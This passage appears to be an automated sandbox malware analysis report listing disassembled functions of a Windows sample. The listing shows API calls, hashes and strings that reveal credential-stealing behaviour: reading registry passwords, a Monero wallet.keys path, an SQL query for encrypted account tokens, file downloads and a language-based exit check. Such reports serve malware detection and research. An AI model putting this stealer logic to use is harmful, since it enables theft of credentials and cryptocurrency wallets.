Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: e8681721fe8043956a62b7ecc9f1da4a7b8983f571557acfb508209ff12ff536
Instruction ID: 8832eefe7296b19e313e7f0714ce9a3b71c90e5d6bcb827873d08b392c08a861
Opcode Fuzzy Hash: e8681721fe8043956a62b7ecc9f1da4a7b8983f571557acfb508209ff12ff536
Instruction Fuzzy Hash: CA314F75A00249DBCB68FFA5DC59DFE7378EB48301B204118F106A7284DE39A946DB70

Function 00DF8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00840330,00000000,?,00E00E2C,00000000,?,00000000), ref: 00DF8130
RtlAllocateHeap.NTDLL(00000000), ref: 00DF8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00DF8158
__aulldiv.LIBCMT ref: 00DF8172
__aulldiv.LIBCMT ref: 00DF8180
wsprintfA.USER32 ref: 00DF81AC

Strings

%d MB, xrefs: 00DF81A3
@, xrefs: 00DF814D

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: b77fcbb1f89f971ab0b424497f427a73d7f3f1548662b68654ffdc6ecb477337
Instruction ID: 7f8d9f0be049c980da77cb8076944dffc0a2677623dbcbeacf2dca0f6ce5b7d1
Opcode Fuzzy Hash: b77fcbb1f89f971ab0b424497f427a73d7f3f1548662b68654ffdc6ecb477337
Instruction Fuzzy Hash: B821F9B1E44218ABDB10DFD4CC49FAEB7B9EB44B10F208609F705BB284DB7959058BA5

Function 00DE60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
Part of subcall function 00DE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

InternetOpenA.WININET(00E00DF7,00000001,00000000,00000000,00000000), ref: 00DE610F
StrCmpCA.SHLWAPI(?,00840B30), ref: 00DE6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00DE618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00DE61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00DE61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DE620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00DE6249
InternetCloseHandle.WININET(?), ref: 00DE6253
InternetCloseHandle.WININET(00000000), ref: 00DE6260

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: f468309548732481f990e7ce1d2de7c23cb9e552d6bb12c40f42c53d6e9d5c86
Instruction ID: 4983c4b91fdbd00237fe5f8b9746e192f516ac4d5b51b42653c29ebcafed9f11
Opcode Fuzzy Hash: f468309548732481f990e7ce1d2de7c23cb9e552d6bb12c40f42c53d6e9d5c86
Instruction Fuzzy Hash: 89516EB1A00218EBDB20EF51DC45BEE77B8FB44745F108098E709A7184DB75AA85CFB9

Function 00DE72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00DE733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00DE73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00DE740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00DE7452
HeapFree.KERNEL32(00000000), ref: 00DE7459
task.LIBCPMTD ref: 00DE7555

Strings

Password, xrefs: 00DE7401

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: ba2a972815c4c60bb5c4c829680688c0c10687efd49944229eaf356e8dda9adb
Instruction ID: 5d61987f21070368134c4e0ccd51b8ec5afc415edf1f60a8b275e2c1826a0e0d
Opcode Fuzzy Hash: ba2a972815c4c60bb5c4c829680688c0c10687efd49944229eaf356e8dda9adb
Instruction Fuzzy Hash: 29611AB59042989BDB24EB51DC51BD9B7B8FF44300F0481E9E689A6181EBB05FC9CFB0

Function 00DEBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

lstrlen.KERNEL32(00000000), ref: 00DEBC9F

Part of subcall function 00DF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DF8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00DEBCCD
lstrlen.KERNEL32(00000000), ref: 00DEBDA5
lstrlen.KERNEL32(00000000), ref: 00DEBDB9

Strings

AccountId, xrefs: 00DEBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00DEBBEB
AccountTokens, xrefs: 00DEBABA
AccountTokens, xrefs: 00DEBB49

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 36582db688aa63c8c43e44538ac26c50a25dd4fe03c2142522e3f9cf8000f6e8
Instruction ID: 466480349c74b5feda3ff6c6356eb341d0cae080d06d67f7c5b28c302d22f1b5
Opcode Fuzzy Hash: 36582db688aa63c8c43e44538ac26c50a25dd4fe03c2142522e3f9cf8000f6e8
Instruction Fuzzy Hash: 93B15FB191011C9BCB14FBA4CC96EFE7338EF54300F558169F60AA6095EF746A49CB72

Function 00DF6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00DF6774
ExitProcess.KERNEL32 ref: 00DF67A5
ExitProcess.KERNEL32 ref: 00DF67AF
ExitProcess.KERNEL32 ref: 00DF67B9
ExitProcess.KERNEL32 ref: 00DF67C3
ExitProcess.KERNEL32 ref: 00DF67CD

Strings

*, xrefs: 00DF678C

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 924886a04af39a3cc68d80d4a27c4bab66a3552ca0599b1511b20bf76238bd3c
Instruction ID: b81483b4ae803f9f8c695413070e5cf4afddae1606be2ced5e71c07000805122
Opcode Fuzzy Hash: 924886a04af39a3cc68d80d4a27c4bab66a3552ca0599b1511b20bf76238bd3c
Instruction Fuzzy Hash: DFF05430A04209EFD364AFE0E90972CBB70FB14707F244198E646C7F84DA7A4B41DBA9

Function 00DE4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00DE4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00DE4FD1
InternetOpenA.WININET(00E00DDF,00000000,00000000,00000000,00000000), ref: 00DE4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00DE5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00DE5041
InternetCloseHandle.WININET(?), ref: 00DE50B9
InternetCloseHandle.WININET(?), ref: 00DE50C6

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 6186cb7dbcabc4e6126f4cfb9239a78eaf9cd58d6a811a54fca076c48b0ef2fc
Instruction ID: e4d3d8b108aba24b2291ad4d241afde3039a6dda500ffaec568b511796da6345
Opcode Fuzzy Hash: 6186cb7dbcabc4e6126f4cfb9239a78eaf9cd58d6a811a54fca076c48b0ef2fc
Instruction Fuzzy Hash: 3431F7B4A00218EBDB20DF54DC85BD8B7B4FB48704F5081D9F609A7285CB756A858FA8

Function 00DF83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00DF8426
wsprintfA.USER32 ref: 00DF8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00DF847B
RegCloseKey.ADVAPI32(00000000), ref: 00DF848C
RegCloseKey.ADVAPI32(00000000), ref: 00DF8499

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

RegQueryValueExA.ADVAPI32(00000000,00840570,00000000,000F003F,?,00000400), ref: 00DF84EC
lstrlen.KERNEL32(?), ref: 00DF8501
RegQueryValueExA.ADVAPI32(00000000,008404F8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00E00B34), ref: 00DF8599
RegCloseKey.ADVAPI32(00000000), ref: 00DF8608
RegCloseKey.ADVAPI32(00000000), ref: 00DF861A

Strings

%s\%s, xrefs: 00DF844D

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 79f3e6a64ad31ca7adbdf91ac883718ae6a83753f634fbd715f7a3b2ad8fd640
Instruction ID: 9a95b52d523c6463e0ecba1c03b3eed4da58b583dc31fff527696cd2b9e4f2c8
Opcode Fuzzy Hash: 79f3e6a64ad31ca7adbdf91ac883718ae6a83753f634fbd715f7a3b2ad8fd640
Instruction Fuzzy Hash: 2821F8B1A0022CABDB24DF54DC85FE9B3B8FB48700F10C598E649A6140DF756A85CFA4

Function 00DF7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00DF76AB
RegOpenKeyExA.ADVAPI32(80000002,0082BC68,00000000,00020119,00000000), ref: 00DF76DD
RegQueryValueExA.ADVAPI32(00000000,00840468,00000000,00000000,?,000000FF), ref: 00DF76FE
RegCloseKey.ADVAPI32(00000000), ref: 00DF7708

Strings

Windows 11, xrefs: 00DF76BD

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 08b1593b9e4dbb3d64552687d71c5fd4b5afbfae09fe65dd34e272f1fc9ffecd
Instruction ID: 3b050dab3a5dd4ec0e9a34dacac8663191723e5988f8ddbd420573f6f31512cd
Opcode Fuzzy Hash: 08b1593b9e4dbb3d64552687d71c5fd4b5afbfae09fe65dd34e272f1fc9ffecd
Instruction Fuzzy Hash: AE0144B5B04209FBD720EFE4DC49FBA77B8EB44701F208454FB45D7584DAB599008B60

Function 00DF7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7734
RtlAllocateHeap.NTDLL(00000000), ref: 00DF773B
RegOpenKeyExA.ADVAPI32(80000002,0082BC68,00000000,00020119,00DF76B9), ref: 00DF775B
RegQueryValueExA.ADVAPI32(00DF76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00DF777A
RegCloseKey.ADVAPI32(00DF76B9), ref: 00DF7784

Strings

CurrentBuildNumber, xrefs: 00DF7771

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: b5029743c85a254cb23aeb82103525efad0d4342354887d0fcf8c541745bfd02
Instruction ID: cad6b0de3a6ae4babb2dd58647a596255922eca599a1f25e7c66af966ef3a1bc
Opcode Fuzzy Hash: b5029743c85a254cb23aeb82103525efad0d4342354887d0fcf8c541745bfd02
Instruction Fuzzy Hash: 550144B5B40308FBDB20DFE0DC49FAEB7B8EB44701F108555FA45A7285DAB556008B61

Function 00DE99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
